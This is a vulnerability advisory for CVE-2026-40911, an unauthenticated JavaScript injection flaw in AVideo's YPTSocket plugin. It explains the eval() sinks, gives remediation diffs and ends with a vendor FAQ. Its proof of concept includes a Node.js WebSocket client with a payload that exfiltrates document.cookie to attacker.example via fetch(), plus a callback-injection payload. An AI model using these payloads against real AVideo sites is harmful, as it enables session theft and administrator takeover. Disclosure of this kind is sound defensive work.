CVE-2026-40911

The YPTSocket plugin's WebSocket server relays attacker-supplied JSON message bodies to every connected client without sanitizing the msg or callback fields. On the client side, plugin/YPTSocket/script.js contains two eval() sinks fed directly by those relayed fields (json.msg.autoEvalCodeOnHTML at line 568 and json.callback at line 95). Because tokens are minted for anonymous visitors and never revalidated beyond decryption, an unauthenticated attacker can broadcast arbitrary JavaScript that executes in the origin of every currently-connected user (including administrators), resulting in universal account takeover, session theft, and privileged action execution.

Details

Token issuance is unauthenticated

plugin/YPTSocket/getWebSocket.json.php:11-21 returns a token to anyone whose request reaches the endpoint, the only check is that the plugin is enabled:

if(!AVideoPlugin::isEnabledByName("YPTSocket")){
    $obj->msg = "Socket plugin not enabled";
    die(json_encode($obj));
}
$obj->error = false;
$obj->webSocketToken = getEncryptedInfo(0);
$obj->webSocketURL = YPTSocket::getWebSocketURL();

getEncryptedInfo() in plugin/YPTSocket/functions.php:3-16 populates from_users_id = User::getId() (0 for guests) and isAdmin = User::isAdmin() (false for guests). The issued token is accepted by the WebSocket server's onOpen handler (Message.php:44-52) solely by successful decryption, there is no requirement for the connecting principal to be authenticated.

Server relays attacker JSON verbatim

plugin/YPTSocket/Message.php:191-245, the default branch of onMessage only rewrites from_identification:

public function onMessage(ConnectionInterface $from, $msg) {
    ...
    $json = _json_decode($msg);
    if (empty($json->webSocketToken)) { return false; }
    if (!$msgObj = getDecryptedInfo($json->webSocketToken)) { return false; }

    switch ($json->msg) {
        ...
        default:
            $this->msgToArray($json);
            if (isset($json['from_identification'])) {
                $json['from_identification'] = strip_tags((string)($msgObj->user_name ?? ''));
            }
            ...
            } else {
                $this->msgToAll($from, $json);  // broadcast
            }
            break;
    }
}

msgToResourceId() at Message.php:297-310 copies the attacker-controlled callback and msg fields into the outbound payload:

if (isset($msg['callback'])) {
    $obj['callback'] = $msg['callback'];  // tainted
    ...
}
...
} else if (!empty($msg['msg'])) {
    $obj['msg'] = $msg['msg'];  // tainted, entire object forwarded verbatim
}

$obj is JSON-encoded at line 335 and sent to every connected client.

Client-side sink #1: autoEvalCodeOnHTML → eval

plugin/YPTSocket/script.js:163-169 (raw WebSocket transport) sets every inbound frame as yptSocketResponse and unconditionally calls parseSocketResponse():

connWS.onmessage = function (e) {
    var json = JSON.parse(e.data);
    ...
    yptSocketResponse = json;
    parseSocketResponse();
    ...
};

parseSocketResponse() at script.js:545-569 reaches the sink:

async function parseSocketResponse() {
    const json = yptSocketResponse;
    ...
    if (json.msg?.autoEvalCodeOnHTML !== undefined) {
        eval(json.msg.autoEvalCodeOnHTML);   // <-- attacker-controlled
    }
    ...
}

Client-side sink #2: json.callback → eval

plugin/YPTSocket/script.js:91-95, processSocketJson() concatenates attacker-controlled json.callback into an eval'd string. This path is reachable on BOTH transports: the raw WebSocket branch (script.js:182) and the Socket.IO branch (script.js:339 via socket.on("message", (data) => { … processSocketJson(data) })):

if (json.callback) {
    var code = "if (typeof " + json.callback + " == 'function') { myfunc = " + json.callback + "; } else { myfunc = defaultCallback; }";
    socketLog('Executing callback:', json.callback);
    eval(code);
    ...
}

Because json.callback is interpolated as raw source, a payload like alert(document.cookie);window.x breaks out of the typeof expression and executes during the condition evaluation.

PoC

Prerequisite: target is running AVideo with the YPTSocket plugin enabled (default on most installs).

Step 1, obtain a token anonymously (no cookies, no auth):

curl -s 'https://target.example/plugin/YPTSocket/getWebSocket.json.php'

Expected output (abbreviated):

{"error":false,"msg":"","webSocketToken":"<long encrypted token>","webSocketURL":"wss://target.example:8888/?webSocketToken=<token>&..."}

Step 2, connect to the WebSocket endpoint using the returned webSocketURL. A minimal Node.js client:

const WebSocket = require('ws');
const TOKEN = '<token from step 1>';
const URL   = '<webSocketURL from step 1>';
const ws = new WebSocket(URL, { rejectUnauthorized: false });

ws.on('open', () => {
    // Payload 1, primary sink (raw WebSocket transport):
    ws.send(JSON.stringify({
        webSocketToken: TOKEN,
        msg: {
            autoEvalCodeOnHTML:
                "fetch('https://attacker.example/x?c='+encodeURIComponent(document.cookie));" +
                "alert('XSS as '+document.domain);"
        }
    }));

    // Payload 2, secondary sink (reaches both raw WS and Socket.IO clients):
    ws.send(JSON.stringify({
        webSocketToken: TOKEN,
        msg: "p",
        callback: "alert(document.domain);window.x"
    }));
});

Step 3, observe impact. Every other user currently connected to the same AVideo instance (via any page that loads YPTSocket's script.js, the global footer, the admin dashboard, live streams, video pages) receives the broadcast. In their browser:

• Payload 1 reaches parseSocketResponse() at line 568 and evaluates eval(json.msg.autoEvalCodeOnHTML), firing the exfiltration request to attacker.example with document.cookie.
• Payload 2 reaches processSocketJson() at line 95; the synthesized code string is if (typeof alert(document.domain);window.x == 'function') { ... }, which executes alert(document.domain) during the typeof evaluation.

Any administrator who is online at the moment of the broadcast has their session cookie exfiltrated and/or arbitrary actions performed in their browser context.

A single unauthenticated request and one WebSocket frame grants the attacker universal client-side code execution across every user currently connected to the target AVideo instance. Concretely:

• Session theft of every connected user, including administrators (note: HttpOnly does not help because the attacker's JS runs in-origin and can call privileged endpoints directly without ever reading cookies).
• Privileged action execution on behalf of any admin who happens to be online, including plugin installation (GHSA-v8jw-8w5p-23g3 shows admin plugin ZIP upload is already an RCE primitive), user promotion/demotion, video deletion, configuration changes.
• Stored cross-user JS persistence via localStorage, IndexedDB, or re-submitting the payload as a comment/title through admin credentials.
• Financial redirection (payment flows, crypto-donation addresses) and phishing via arbitrary DOM rewriting of the authentic AVideo origin.
• The scope change (S:C) is genuine: an unauthenticated (or low-privileged) attacker's actions cross the trust boundary into every other user's browser authorization context, including admin.

Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.

CVE-2026-40911 has a CVSS score of 10.0 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Kodem intelligence

Multiple defense-in-depth layers are required:

1. Remove the client-side eval sinks entirely. plugin/YPTSocket/script.js:

- if (json.msg?.autoEvalCodeOnHTML !== undefined) {
-     eval(json.msg.autoEvalCodeOnHTML);
- }

No legitimate server flow should push arbitrary JavaScript through a broadcast channel, if server-driven UI updates are needed, use structured data and predefined handler functions.

Replace the callback dispatch at lines 91-95 with a strict name-based lookup against a predefined allowlist:

- if (json.callback) {
-     var code = "if (typeof " + json.callback + " == 'function') { myfunc = " + json.callback + "; } else { myfunc = defaultCallback; }";
-     eval(code);
-     ...
- } else {
-     myfunc = defaultCallback;
- }
+ var ALLOWED_CALLBACKS = ['socketNewConnection', 'socketDisconnection', /* ... */];
+ if (typeof json.callback === 'string' && ALLOWED_CALLBACKS.indexOf(json.callback) !== -1
+     && typeof window[json.callback] === 'function') {
+     myfunc = window[json.callback];
+     const event = new CustomEvent(json.callback, { detail: _details });
+     document.dispatchEvent(event);
+ } else {
+     myfunc = defaultCallback;
+ }

2. Server-side: allowlist keys on relayed msg objects. In plugin/YPTSocket/Message.php::onMessage() default branch, whitelist the fields permitted in relayed broadcasts rather than forwarding $msg['msg'] verbatim:

// At top of default branch, after msgToArray:
$ALLOWED_MSG_KEYS = ['type', 'text', 'videos_id', 'users_id', /* ... */];
if (isset($json['msg']) && is_array($json['msg'])) {
    $json['msg'] = array_intersect_key($json['msg'], array_flip($ALLOWED_MSG_KEYS));
}
// Similarly sanitize callback:
if (isset($json['callback']) && !preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*$/', (string)$json['callback'])) {
    unset($json['callback']);
}

3. Restrict token issuance and sender privileges. plugin/YPTSocket/getWebSocket.json.php should require authentication (or at least reject anonymous broadcast capability). Unprivileged senders should not be permitted to trigger msgToAll at all, the default branch of onMessage should require $msgObj->isAdmin (or equivalent) before allowing broadcasts, since there is no legitimate reason for arbitrary clients to originate system-wide messages.

1. What is CVE-2026-40911? CVE-2026-40911 is a critical-severity code injection vulnerability in wwbn/avideo (composer), affecting versions <= 29.0. No fixed version is listed yet. Untrusted input is evaluated as executable code within the application's runtime environment.
2. How severe is CVE-2026-40911? CVE-2026-40911 has a CVSS score of 10.0 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of wwbn/avideo are affected by CVE-2026-40911? wwbn/avideo (composer) versions <= 29.0 is affected.
4. Is there a fix for CVE-2026-40911? No fixed version is listed for CVE-2026-40911 yet. Monitor the advisory for updates and apply mitigations in the interim.
5. Is CVE-2026-40911 exploitable, and should I be worried? Whether CVE-2026-40911 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-40911 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-40911? No fixed version is listed yet. In the interim: Never evaluate untrusted input as code. Use sandboxed evaluation environments if dynamic execution is required.